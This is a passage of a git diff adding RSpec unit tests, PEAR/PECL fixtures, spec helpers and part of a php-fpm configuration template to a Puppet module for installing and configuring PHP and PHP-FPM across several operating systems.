contain_file('/etc/init/php5-fpm.override').with_content('reload signal USR2') } + it { is_expected.to contain_package('php5-fpm').with_ensure('present') } + it { is_expected.to contain_service('php5-fpm').with_ensure('running') } + when '12.02' + it { is_expected.to contain_file('/etc/init/php5-fpm.override').with_content("reload signal USR2\nmanual") } + it { is_expected.to contain_package('php5-fpm').with_ensure('present') } + it { is_expected.to contain_service('php5-fpm').with_ensure('running') } + when '16.04' + it { is_expected.to contain_package('php7.0-fpm').with_ensure('present') } + it { is_expected.to contain_service('php7.0-fpm').with_ensure('running') } + end + when 'Suse' + it { is_expected.to contain_package('php5-fpm').with_ensure('present') } + it { is_expected.to contain_service('php-fpm').with_ensure('running') } + when 'FreeBSD' + it { is_expected.not_to contain_package('php56-') } + it { is_expected.not_to contain_package('php5-fpm') } + it { is_expected.not_to contain_package('php-fpm') } + it { is_expected.to contain_service('php-fpm').with_ensure('running') } + else + it { is_expected.to contain_package('php-fpm').with_ensure('present') } + it { is_expected.to contain_service('php-fpm').with_ensure('running') } + end + # rubocop:enable RSpec/RepeatedExample + it { is_expected.to contain_class('php::fpm::config').that_notifies('Class[php::fpm::service]') } + it { is_expected.to contain_class('php::fpm::service') } + end + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/classes/php_repo_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/classes/php_repo_spec.rb new file mode 100644 index 000000000..c7be774f1 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/classes/php_repo_spec.rb @@ -0,0 +1,31 @@ +require 'spec_helper' + +describe 'php::repo', type: :class do + on_supported_os.each do |os, facts| + context "on #{os}" do + let :facts do + facts + end + + let :pre_condition do + 'include php' + end + + describe 'when configuring a package repo' do + case facts[:osfamily] + when 'Debian' + case facts[:operatingsystem] + when 'Debian' + it { is_expected.to contain_class('php::repo::debian') } + when 'Ubuntu' + it { is_expected.to contain_class('php::repo::ubuntu') } + end + when 'Suse' + it { is_expected.to contain_class('php::repo::suse') } + when 'RedHat' + it { is_expected.to contain_class('php::repo::redhat') } + end + end + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/classes/php_repo_ubuntu_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/classes/php_repo_ubuntu_spec.rb new file mode 100644 index 000000000..6650ab43d --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/classes/php_repo_ubuntu_spec.rb @@ -0,0 +1,49 @@ +require 'spec_helper' + +describe 'php::repo::ubuntu', type: :class do + on_supported_os.each do |os, facts| + context "on #{os}" do + let :facts do + facts + end + + case facts[:lsbdistcodename] + when 'trusty' + describe 'when called with no parameters on Ubuntu trusty' do + it { is_expected.to contain_exec('add-apt-repository-ppa:ondrej/php') } + end + + describe 'when called with version 7.0 on Ubuntu trusty' do + let(:params) do + { + version: '7.0' + } + end + + it { is_expected.to contain_exec('add-apt-repository-ppa:ondrej/php') } + end + + describe 'when call with version 5.6 on Ubuntu trusty' do + let(:params) do + { + version: '5.6' + } + end + + it { is_expected.to contain_exec('add-apt-repository-ppa:ondrej/php') } + end + + describe 'when call with version 5.4 on Ubuntu trusty' do + let(:params) do + { + version: '5.4' + } + end + + it { expect { is_expected.to raise_error(Puppet::Error) } } + end + + end + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/classes/php_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/classes/php_spec.rb new file mode 100644 index 000000000..75f624ced --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/classes/php_spec.rb @@ -0,0 +1,125 @@ +require 'spec_helper' + +describe 'php', type: :class do + on_supported_os.each do |os, facts| + context "on #{os}" do + let :facts do + facts + end + + describe 'when called with no parameters' do + case facts[:osfamily] + when 'Debian' + it { is_expected.not_to contain_class('php::global') } + it { is_expected.to contain_class('php::fpm') } + it { is_expected.to contain_package('php-pear').with_ensure('present') } + it { is_expected.to contain_class('php::composer') } + case facts[:os]['release']['major'] + when '14.04' + it { is_expected.to contain_package('php5-cli').with_ensure('present') } + it { is_expected.to contain_package('php5-fpm').with_ensure('present') } + it { is_expected.to contain_package('php5-dev').with_ensure('present') } + when '16.04' + it { is_expected.to contain_package('php7.0-cli').with_ensure('present') } + it { is_expected.to contain_package('php7.0-fpm').with_ensure('present') } + it { is_expected.to contain_package('php7.0-dev').with_ensure('present') } + end + when 'Suse' + it { is_expected.to contain_class('php::global') } + it { is_expected.to contain_package('php5').with_ensure('present') } + it { is_expected.to contain_package('php5-devel').with_ensure('present') } + it { is_expected.to contain_package('php5-pear').with_ensure('present') } + it { is_expected.not_to contain_package('php5-cli') } + it { is_expected.not_to contain_package('php5-dev') } + it { is_expected.not_to contain_package('php-pear') } + end + end + + describe 'when called with package_prefix parameter' do + let(:params) { { package_prefix: 'myphp-' } } + + case facts[:osfamily] + when 'Debian' + it { is_expected.not_to contain_class('php::global') } + it { is_expected.to contain_class('php::fpm') } + it { is_expected.to contain_package('myphp-cli').with_ensure('present') } + it { is_expected.to contain_package('myphp-fpm').with_ensure('present') } + it { is_expected.to contain_package('myphp-dev').with_ensure('present') } + it { is_expected.to contain_package('php-pear').with_ensure('present') } + it { is_expected.to contain_class('php::composer') } + when 'Suse' + it { is_expected.to contain_class('php::global') } + it { is_expected.to contain_package('php5').with_ensure('present') } + it { is_expected.to contain_package('myphp-devel').with_ensure('present') } + it { is_expected.to contain_package('myphp-pear').with_ensure('present') } + it { is_expected.not_to contain_package('myphp-cli') } + it { is_expected.not_to contain_package('myphp-dev') } + it { is_expected.not_to contain_package('php-pear') } + end + end + + describe 'when called with fpm_user parameter' do + let(:params) { { fpm_user: 'nginx' } } + + it { is_expected.to contain_class('php::fpm').with(user: 'nginx') } + it { is_expected.to contain_php__fpm__pool('www').with(user: 'nginx') } + + dstfile = case facts[:osfamily] + when 'Debian' + case facts[:os]['release']['major'] + when '16.04' + '/etc/php/7.0/fpm/pool.d/www.conf' + else + '/etc/php5/fpm/pool.d/www.conf' + end + when 'Archlinux' + '/etc/php/php-fpm.d/www.conf' + when 'Suse' + '/etc/php5/fpm/pool.d/www.conf' + when 'RedHat' + '/etc/php-fpm.d/www.conf' + when 'FreeBSD' + '/usr/local/etc/php-fpm.d/www.conf' + end + + it { is_expected.to contain_file(dstfile).with_content(%r{user = nginx}) } + end + describe 'when called with fpm_group parameter' do + let(:params) { { fpm_group: 'nginx' } } + + it { is_expected.to contain_class('php::fpm').with(group: 'nginx') } + it { is_expected.to contain_php__fpm__pool('www').with(group: 'nginx') } + dstfile = case facts[:osfamily] + when 'Debian' + case facts[:os]['release']['major'] + when '16.04' + '/etc/php/7.0/fpm/pool.d/www.conf' + else + '/etc/php5/fpm/pool.d/www.conf' + end + when 'Archlinux' + '/etc/php/php-fpm.d/www.conf' + when 'Suse' + '/etc/php5/fpm/pool.d/www.conf' + when 'RedHat' + '/etc/php-fpm.d/www.conf' + when 'FreeBSD' + '/usr/local/etc/php-fpm.d/www.conf' + end + + it { is_expected.to contain_file(dstfile).with_content(%r{group = nginx}) } + end + + describe 'when fpm is disabled' do + let(:params) { { fpm: false } } + + it { is_expected.not_to contain_class('php::fpm') } + end + describe 'when composer is disabled' do + let(:params) { { composer: false } } + + it { is_expected.not_to contain_class('php::composer') } + end + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/default_facts.yml b/modules/utilities/unix/web_frameworks/php/spec/default_facts.yml new file mode 100644 index 000000000..13c416576 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/default_facts.yml @@ -0,0 +1,14 @@ +# This file is managed via modulesync +# https://github.com/voxpupuli/modulesync +# https://github.com/voxpupuli/modulesync_config +# +# use default_module_facts.yaml for module specific +# facts. +# +# Hint if using with rspec-puppet-facts ("on_supported_os.each"): +# if a same named fact exists in facterdb it will be overridden. +--- +concat_basedir: "/tmp" +ipaddress: "172.16.254.254" +is_pe: false +macaddress: "AA:AA:AA:AA:AA:AA" diff --git a/modules/utilities/unix/web_frameworks/php/spec/defines/config_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/defines/config_spec.rb new file mode 100644 index 000000000..e0c0c752f --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/defines/config_spec.rb @@ -0,0 +1,114 @@ +require 'spec_helper' + +describe 'php::config' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let :facts do + facts + end + + case facts[:operatingsystem] + when 'Ubuntu' + context 'default config' do + let(:title) { 'unique-name' } + let(:params) do + { + file: '/etc/php/5.6/conf.d/unique-name.ini', + config: {} + } + end + + it { is_expected.to compile } + end + + context 'simple example' do + let(:title) { 'unique-name' } + let(:params) do + { + file: '/etc/php/5.6/conf.d/unique-name.ini', + config: { + 'apc.enabled' => 1 + } + } + end + + it { is_expected.to contain_php__config('unique-name').with_file('/etc/php/5.6/conf.d/unique-name.ini') } + end + + context 'empty array' do + let(:title) { 'unique-name' } + let(:params) do + { + file: '/etc/php/5.6/conf.d/unique-name.ini', + config: {} + } + end + + it { is_expected.to contain_php__config('unique-name').with_file('/etc/php/5.6/conf.d/unique-name.ini') } + end + + context 'invalid config (string)' do + let(:title) { 'unique-name' } + let(:params) do + { + file: '/etc/php/5.6/conf.d/unique-name.ini', + config: 'hello world' + } + end + + it { expect { is_expected.to raise_error(Puppet::Error) } } + end + else + context 'default config' do + let(:title) { 'unique-name' } + let(:params) do + { + file: '/etc/php5/conf.d/unique-name.ini', + config: {} + } + end + + it { is_expected.to compile } + end + + context 'simple example' do + let(:title) { 'unique-name' } + let(:params) do + { + file: '/etc/php5/conf.d/unique-name.ini', + config: { + 'apc.enabled' => 1 + } + } + end + + it { is_expected.to contain_php__config('unique-name').with_file('/etc/php5/conf.d/unique-name.ini') } + end + + context 'empty array' do + let(:title) { 'unique-name' } + let(:params) do + { + file: '/etc/php5/conf.d/unique-name.ini', + config: {} + } + end + + it { is_expected.to contain_php__config('unique-name').with_file('/etc/php5/conf.d/unique-name.ini') } + end + + context 'invalid config (string)' do + let(:title) { 'unique-name' } + let(:params) do + { + file: '/etc/php5/conf.d/unique-name.ini', + config: 'hello world' + } + end + + it { expect { is_expected.to raise_error(Puppet::Error) } } + end + end + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/defines/extension_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/defines/extension_spec.rb new file mode 100644 index 000000000..db74f2ff3 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/defines/extension_spec.rb @@ -0,0 +1,219 @@ +require 'spec_helper' + +describe 'php::extension' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let :facts do + facts + end + + let(:pre_condition) { 'include php' } + + unless facts[:osfamily] == 'Suse' || facts[:osfamily] == 'FreeBSD' # FIXME: something is wrong on these + etcdir = case facts[:osfamily] + when 'Debian' + case facts[:os]['release']['major'] + when '16.04' + '/etc/php/7.0/mods-available' + else + '/etc/php5/mods-available' + end + when 'Archlinux' + '/etc/php/conf.d' + else + '/etc/php.d' + end + + context 'installation from repository' do + let(:title) { 'json' } + let(:params) do + { + package_prefix: 'php5-', + settings: { + 'test' => 'foo' + } + } + end + + it { is_expected.to contain_package('php5-json') } + it do + is_expected.to contain_php__config('json').with( + file: "#{etcdir}/json.ini", + config: { + 'extension' => 'json.so', + 'test' => 'foo' + } + ) + end + end + + context 'configure extension without installing a package' do + let(:title) { 'json' } + let(:params) do + { + provider: 'none', + settings: { + 'test' => 'foo' + } + } + end + + it do + is_expected.to contain_php__config('json').with( + file: "#{etcdir}/json.ini", + require: nil, + config: { + 'extension' => 'json.so', + 'test' => 'foo' + } + ) + end + end + + context 'add settings prefix if requested' do + let(:title) { 'json' } + let(:params) do + { + name: 'json', + settings_prefix: true, + settings: { + 'test' => 'foo' + } + } + end + + it do + is_expected.to contain_php__config('json').with( + config: { + 'extension' => 'json.so', + 'json.test' => 'foo' + } + ) + end + end + + context 'use specific settings prefix if requested' do + let(:title) { 'json' } + let(:params) do + { + name: 'json', + settings_prefix: 'bar', + settings: { + 'test' => 'foo' + } + } + end + + it do + is_expected.to contain_php__config('json').with( + config: { + 'extension' => 'json.so', + 'bar.test' => 'foo' + } + ) + end + end + + context 'extensions can be configured as zend' do + let(:title) { 'xdebug' } + let(:params) do + { + zend: true + } + end + + it { is_expected.to contain_php__config('xdebug').with_config('zend_extension' => 'xdebug.so') } + end + + context 'pecl extensions support so_name' do + let(:title) { 'zendopcache' } + let(:params) do + { + provider: 'pecl', + zend: true, + so_name: 'opcache' + } + end + + it do + is_expected.to contain_php__config('zendopcache').with( + file: "#{etcdir}/opcache.ini", + config: { + 'zend_extension' => 'opcache.so' + } + ) + end + end + + context 'add ini file prefix if requested' do + let(:title) { 'zendopcache' } + let(:params) do + { + provider: 'pecl', + zend: true, + ini_prefix: '10-', + so_name: 'opcache' + } + end + + it do + is_expected.to contain_php__config('zendopcache').with( + file: "#{etcdir}/10-opcache.ini", + config: { + 'zend_extension' => 'opcache.so' + } + ) + end + end + + context 'pecl extensions support php_api_version' do + let(:title) { 'xdebug' } + let(:params) do + { + provider: 'pecl', + zend: true, + php_api_version: '20100525' + } + end + + it { is_expected.to contain_php__config('xdebug').with_config('zend_extension' => '/usr/lib/php5/20100525/xdebug.so') } + end + + case facts[:osfamily] + when 'Debian' + context 'on Debian' do + let(:title) { 'xdebug' } + + it { is_expected.to contain_php__config('xdebug').with_file("#{etcdir}/xdebug.ini") } + context 'pecl installation' do + let(:title) { 'json' } + let(:params) do + { + provider: 'pecl', + header_packages: ['libmemcached-dev'], + name: 'nice_name', + settings: { + 'test' => 'foo' + } + } + end + + it { is_expected.to contain_package('json') } + it { is_expected.to contain_package('libmemcached-dev') } + it { is_expected.to contain_package('build-essential') } + it do + is_expected.to contain_php__config('json').with( + file: "#{etcdir}/nice_name.ini", + config: { + 'extension' => 'nice_name.so', + 'test' => 'foo' + } + ) + end + end + end + end + end + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/defines/fpm_pool_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/defines/fpm_pool_spec.rb new file mode 100644 index 000000000..dc3c51652 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/defines/fpm_pool_spec.rb @@ -0,0 +1,37 @@ +require 'spec_helper' + +describe 'php::fpm::pool' do + on_supported_os.each do |os, facts| + context "on #{os}" do + let :facts do + facts + end + let(:pre_condition) { 'include php' } + + case facts[:osfamily] + when 'Debian' + case facts[:operatingsystem] + when 'Ubuntu' + context 'plain config' do + let(:title) { 'unique-name' } + let(:params) { {} } + + case facts[:os]['release']['major'] + when '14.04' + it { is_expected.to contain_file('/etc/php5/fpm/pool.d/unique-name.conf') } + when '16.04' + it { is_expected.to contain_file('/etc/php/7.0/fpm/pool.d/unique-name.conf') } + end + end + when 'Debian' + context 'plain config' do + let(:title) { 'unique-name' } + let(:params) { {} } + + it { is_expected.to contain_file('/etc/php5/fpm/pool.d/unique-name.conf') } + end + end + end + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/list_a b/modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/list_a new file mode 100644 index 000000000..5c99e8d0e --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/list_a @@ -0,0 +1,22 @@ +INSTALLED PACKAGES, CHANNEL __URI: +================================== +(no packages installed) + +INSTALLED PACKAGES, CHANNEL DOC.PHP.NET: +======================================== +(no packages installed) + +INSTALLED PACKAGES, CHANNEL PEAR.PHP.NET: +========================================= +PACKAGE VERSION STATE +Archive_Tar 1.4.0 stable +Console_Getopt 1.4.1 stable +PEAR 1.10.1 stable +Structures_Graph 1.1.1 stable +XML_Util 1.3.0 stable + +INSTALLED PACKAGES, CHANNEL PECL.PHP.NET: +========================================= +PACKAGE VERSION STATE +zip 1.13.5 stable + diff --git a/modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/remote-info_benchmark b/modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/remote-info_benchmark new file mode 100644 index 000000000..1e7eda581 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/remote-info_benchmark @@ -0,0 +1,11 @@ +PACKAGE DETAILS: +================ +Latest 1.2.9 +Installed - no - +Package Benchmark +License New BSD +Category Benchmarking +Summary Framework to benchmark PHP scripts or function + calls. +Description Framework to benchmark PHP scripts or function + calls. diff --git a/modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/remote-info_zip b/modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/remote-info_zip new file mode 100644 index 000000000..1a54bf1b9 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/fixtures/unit/provider/package/pear/remote-info_zip @@ -0,0 +1,10 @@ +PACKAGE DETAILS: +================ +Latest 1.13.5 +Installed 1.13.5 +Package zip +License PHP 3.01 +Category File Formats +Summary A zip management extension +Description Zip is an extension to create, modify and read + zip files. diff --git a/modules/utilities/unix/web_frameworks/php/spec/functions/to_hash_settings_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/functions/to_hash_settings_spec.rb new file mode 100644 index 000000000..de70a8a5e --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/functions/to_hash_settings_spec.rb @@ -0,0 +1,24 @@ +require 'spec_helper' + +describe 'to_hash_settings' do + input = { 'a' => 1, 'b' => 2 } + results = [ + { + 'a' => { 'key' => 'a', 'value' => 1 }, + 'b' => { 'key' => 'b', 'value' => 2 } + }, + { + 'foo: a' => { 'key' => 'a', 'value' => 1 }, + 'foo: b' => { 'key' => 'b', 'value' => 2 } + } + ] + + describe 'when first parameter is not a hash' do + it { is_expected.to run.with_params('baz', input).and_raise_error(Puppet::ParseError) } + end + + describe 'when used with proper parameters' do + it { is_expected.to run.with_params(input).and_return(results[0]) } + it { is_expected.to run.with_params(input, 'foo').and_return(results[1]) } + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/spec_helper.rb b/modules/utilities/unix/web_frameworks/php/spec/spec_helper.rb new file mode 100644 index 000000000..cdd493591 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/spec_helper.rb @@ -0,0 +1,31 @@ +require 'puppetlabs_spec_helper/module_spec_helper' +require 'rspec-puppet-facts' +include RspecPuppetFacts + +if Dir.exist?(File.expand_path('../../lib', __FILE__)) + require 'coveralls' + require 'simplecov' + require 'simplecov-console' + SimpleCov.formatters = [ + SimpleCov::Formatter::HTMLFormatter, + SimpleCov::Formatter::Console + ] + SimpleCov.start do + track_files 'lib/**/*.rb' + add_filter '/spec' + add_filter '/vendor' + add_filter '/.vendor' + end +end + +RSpec.configure do |c| + default_facts = { + puppetversion: Puppet.version, + facterversion: Facter.version + } + default_facts.merge!(YAML.load(File.read(File.expand_path('../default_facts.yml', __FILE__)))) if File.exist?(File.expand_path('../default_facts.yml', __FILE__)) + default_facts.merge!(YAML.load(File.read(File.expand_path('../default_module_facts.yml', __FILE__)))) if File.exist?(File.expand_path('../default_module_facts.yml', __FILE__)) + c.default_facts = default_facts +end + +# vim: syntax=ruby diff --git a/modules/utilities/unix/web_frameworks/php/spec/spec_helper_acceptance.rb b/modules/utilities/unix/web_frameworks/php/spec/spec_helper_acceptance.rb new file mode 100644 index 000000000..b94ec1b11 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/spec_helper_acceptance.rb @@ -0,0 +1,18 @@ +require 'beaker-rspec' +require 'beaker/puppet_install_helper' +require 'beaker/module_install_helper' + +run_puppet_install_helper unless ENV['BEAKER_provision'] == 'no' +install_ca_certs unless ENV['PUPPET_INSTALL_TYPE'] =~ %r{pe}i +install_module_on(hosts) +install_module_dependencies_on(hosts) + +RSpec.configure do |c| + # Readable test descriptions + c.formatter = :documentation + hosts.each do |host| + if host[:platform] =~ %r{el-7-x86_64} && host[:hypervisor] =~ %r{docker} + on(host, "sed -i '/nodocs/d' /etc/yum.conf") + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/unit/provider/package/pear_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/unit/provider/package/pear_spec.rb new file mode 100644 index 000000000..fc36a095b --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/unit/provider/package/pear_spec.rb @@ -0,0 +1,140 @@ +require 'spec_helper' + +describe Puppet::Type.type(:package).provider(:pear) do + let(:resource) do + Puppet::Type.type(:package).new name: 'dummy', ensure: :installed + end + + let(:provider) do + provider = described_class.new(resource) + provider.resource = resource + provider + end + + before do + described_class.stubs(:command).with(:pear).returns '/fake/pear' + resource.provider = provider + end + + describe '.instances' do + it 'returns an array of installed packages' do + described_class.expects(:pear). + with('list', '-a'). + returns File.read(my_fixture('list_a')) + + expect(described_class.instances.map(&:properties)).to eq [ + { name: 'Archive_Tar', vendor: 'pear.php.net', ensure: '1.4.0', provider: :pear }, + { name: 'Console_Getopt', vendor: 'pear.php.net', ensure: '1.4.1', provider: :pear }, + { name: 'PEAR', vendor: 'pear.php.net', ensure: '1.10.1', provider: :pear }, + { name: 'Structures_Graph', vendor: 'pear.php.net', ensure: '1.1.1', provider: :pear }, + { name: 'XML_Util', vendor: 'pear.php.net', ensure: '1.3.0', provider: :pear }, + { name: 'zip', vendor: 'pecl.php.net', ensure: '1.13.5', provider: :pear } + ] + end + + it 'ignores malformed lines' do + described_class.expects(:pear). + with('list', '-a'). + returns 'aaa2.1' + Puppet.expects(:warning).with('Could not match aaa2.1') + expect(described_class.instances).to eq [] + end + end + + describe '#install' do + it 'installs a package' do + described_class.expects(:pear). + with('-D', 'auto_discover=1', 'upgrade', '--alldeps', 'dummy') + provider.install + end + + it 'installs a specific version' do + resource[:ensure] = '0.2' + described_class.expects(:pear). + with('-D', 'auto_discover=1', 'upgrade', '--alldeps', '-f', 'dummy-0.2') + provider.install + end + + it 'installs from a specific source' do + resource[:source] = 'pear.php.net/dummy' + described_class.expects(:pear). + with('-D', 'auto_discover=1', 'upgrade', '--alldeps', 'pear.php.net/dummy') + provider.install + end + + it 'installs a specific version from a specific source' do + resource[:ensure] = '0.2' + resource[:source] = 'pear.php.net/dummy' + described_class.expects(:pear). + with('-D', 'auto_discover=1', 'upgrade', '--alldeps', '-f', 'pear.php.net/dummy-0.2') + provider.install + end + + it 'uses the specified responsefile' do + resource[:responsefile] = '/fake/pearresponse' + Puppet::Util::Execution.expects(:execute). + with( + ['/fake/pear', '-D', 'auto_discover=1', 'upgrade', '--alldeps', 'dummy'], + stdinfile: resource[:responsefile] + ) + provider.install + end + + it 'accepts install_options' do + resource[:install_options] = ['--onlyreqdeps'] + described_class.expects(:pear). + with('-D', 'auto_discover=1', 'upgrade', '--onlyreqdeps', 'dummy') + provider.install + end + end + + describe '#query' do + it 'queries information about one package' do + described_class.expects(:pear). + with('list', '-a'). + returns File.read(my_fixture('list_a')) + + resource[:name] = 'pear' + expect(provider.query).to eq( + name: 'PEAR', vendor: 'pear.php.net', ensure: '1.10.1', provider: :pear + ) + end + end + + describe '#latest' do + it 'fetches the latest version available' do + described_class.expects(:pear). + with('remote-info', 'Benchmark'). + returns File.read(my_fixture('remote-info_benchmark')) + + resource[:name] = 'Benchmark' + expect(provider.latest).to eq '1.2.9' + end + end + + describe '#uninstall' do + it 'uninstalls a package' do + described_class.expects(:pear). + with('uninstall', resource[:name]). + returns('uninstall ok') + provider.uninstall + end + + it 'raises an error otherwise' do + described_class.expects(:pear). + with('uninstall', resource[:name]). + returns('unexpected output') + expect { provider.uninstall }.to raise_error(Puppet::Error) + end + end + + describe '#update' do + it 'ignores the resource version' do + resource[:ensure] = '2.0' + + described_class.expects(:pear). + with('-D', 'auto_discover=1', 'upgrade', '--alldeps', 'dummy') + provider.update + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/spec/unit/provider/package/pecl_spec.rb b/modules/utilities/unix/web_frameworks/php/spec/unit/provider/package/pecl_spec.rb new file mode 100644 index 000000000..ae2f15d1f --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/spec/unit/provider/package/pecl_spec.rb @@ -0,0 +1,77 @@ +require 'spec_helper' + +describe Puppet::Type.type(:package).provider(:pecl) do + let(:resource) do + Puppet::Type.type(:package).new name: 'dummy', ensure: :installed + end + + let(:provider) do + described_class.new(resource) + end + + let(:parent_class) do + Puppet::Type::Package::ProviderPear + end + + before do + parent_class.stubs(:command).with(:pear).returns '/fake/pear' + end + + describe '.instances' do + it 'returns pecl installed packages via pear' do + parent_class.expects(:pear). + with('list', '-a'). + returns File.read(fixtures('unit/provider/package/pear/list_a')) + + expect(described_class.instances.map(&:properties)).to eq [ + { ensure: '1.13.5', name: 'zip', vendor: 'pecl.php.net', provider: :pecl } + ] + end + end + + describe '#install' do + it 'installs with pear' do + parent_class.expects(:pear) + provider.install + end + end + + describe '#query' do + it 'queries pecl package info via pear' do + parent_class.expects(:pear). + with('list', '-a'). + returns File.read(fixtures('unit/provider/package/pear/list_a')) + + resource[:name] = 'zip' + expect(provider.query).to eq(ensure: '1.13.5', name: 'zip', vendor: 'pecl.php.net', provider: :pecl) + end + end + + describe '#latest' do + it 'fetches the latest version available via pear' do + parent_class.expects(:pear). + with('remote-info', 'pecl.php.net/zip'). + returns File.read(fixtures('unit/provider/package/pear/remote-info_zip')) + + resource[:name] = 'zip' + expect(provider.latest).to eq '1.13.5' + end + end + + describe '#uninstall' do + it 'uninstalls a package via pear' do + parent_class.expects(:pear). + returns('uninstall ok') + provider.uninstall + end + end + + describe '#update' do + it 'updates to latest version via pear' do + resource[:ensure] = '2.0' + + parent_class.expects(:pear) + provider.update + end + end +end diff --git a/modules/utilities/unix/web_frameworks/php/templates/fpm/php-fpm.conf.erb b/modules/utilities/unix/web_frameworks/php/templates/fpm/php-fpm.conf.erb new file mode 100644 index 000000000..91ac1bea4 --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/templates/fpm/php-fpm.conf.erb @@ -0,0 +1,137 @@ +;;;;;;;;;;;;;;;;;;;;; +; FPM Configuration ; +;;;;;;;;;;;;;;;;;;;;; + +; All relative paths in this configuration file are relative to PHP's install +; prefix (/usr). This prefix can be dynamically changed by using the +; '-p' argument from the command line. + +; Include one or more files. If glob(3) exists, it is used to include a bunch of +; files from a glob(3) pattern. This directive can be used everywhere in the +; file. +; Relative path can also be used. They will be prefixed by: +; - the global prefix if it's been set (-p argument) +; - /usr otherwise +;include=/etc/php5/fpm/*.conf + +;;;;;;;;;;;;;;;;;; +; Global Options ; +;;;;;;;;;;;;;;;;;; + +[global] +; Pid file +; Note: the default prefix is /var +; Default Value: none +pid = <%= @pid_file %> + +; Error log file +; If it's set to "syslog", log is sent to syslogd instead of being written +; in a local file. +; Note: the default prefix is /var +; Default Value: log/php-fpm.log +error_log = <%= @error_log %> + +; syslog_facility is used to specify what type of program is logging the +; message. This lets syslogd specify that messages from different facilities +; will be handled differently. +; See syslog(3) for possible values (ex daemon equiv LOG_DAEMON) +; Default Value: daemon +syslog.facility = <%= @syslog_facility %> + +; syslog_ident is prepended to every message. If you have multiple FPM +; instances running on the same server, you can change the default value +; which must suit common needs. +; Default Value: php-fpm +syslog.ident = <%= @syslog_ident %> + +; Log level +; Possible Values: alert, error, warning, notice, debug +; Default Value: notice +log_level = <%= @log_level %> + +; If this number of child processes exit with SIGSEGV or SIGBUS within the time +; interval set by emergency_restart_interval then FPM will restart. A value +; of '0' means 'Off'. +; Default Value: 0 +emergency_restart_threshold = <%= @emergency_restart_threshold %> + +; Interval of time used by emergency_restart_interval to determine when +; a graceful restart will be initiated. This can be useful to work around +; accidental corruptions in an accelerator's shared memory. +; Available Units: s(econds), m(inutes), h(ours), or d(ays) +; Default Unit: seconds +; Default Value: 0 +emergency_restart_interval = <%= @emergency_restart_interval %> + +; Time limit for child processes to wait for a reaction on signals from master. +; Available units: s(econds), m(inutes), h(ours), or d(ays) +; Default Unit: seconds +; Default Value: 0 +process_control_timeout = <%= @process_control_timeout %> + +; The maximum number of processes FPM will fork. This has been design to control +; the global number of processes when using dynamic PM within a lot of pools. +; Use it with caution. +; Note: A value of 0 indicates no limit +; Default Value: 0 +process.max = <%= @process_max %> + +; Specify the nice(2) priority to apply to the master process (only if set) +; The value can vary from -19 (highest priority) to 20 (lower priority) +; Note: - It will only work if the FPM master process is launched as root +; - The pool process will inherit the master process priority +; unless it specified otherwise +; Default Value: no set +; process.priority = -19 + +; Send FPM to background. Set to 'no' to keep FPM in foreground for debugging. +; Default Value: yes +;daemonize = yes + +; Set open file descriptor rlimit for the master process. +; Default Value: system defined value +<% if @rlimit_files -%> +rlimit_files = <%= @rlimit_files %> +<% else -%> +;rlimit_files = 1024 +<% end -%> + +; Set max core size rlimit for the master process. +; Possible Values: 'unlimited' or an integer greater or equal to 0 +; Default Value: system defined value +;rlimit_core = 0 + +; Specify the event mechanism FPM will use. The following is available: +; - select (any POSIX os) +; - poll (any POSIX os) +; - epoll (linux >= 2.5.44) +; - kqueue (FreeBSD >= 4.1, OpenBSD >= 2.9, NetBSD >= 2.0) +; - /dev/poll (Solaris >= 7) +; - port (Solaris >= 10) +; Default Value: not set (auto detection) +;events.mechanism = epoll + +; When FPM is build with systemd integration, specify the interval, +; in second, between health report notification to systemd. +; Set to 0 to disable. +; Available Units: s(econds), m(inutes), h(ours) +; Default Unit: seconds +; Default value: 10 +<% if @systemd_interval -%> +systemd_interval = <%= @systemd_interval %> +<% else -%> +;systemd_interval = 10 +<% end -%> + +;;;;;;;;;;;;;;;;;;;; +; Pool Definitions ; +;;;;;;;;;;;;;;;;;;;; + +; Multiple pools of child processes may be started with different listening +; ports and different management options. The name of the pool will be +; used in logs and stats. There is no limitation on the number of pools which +; FPM can handle. Your system will tell you anyway :) + +; To configure the 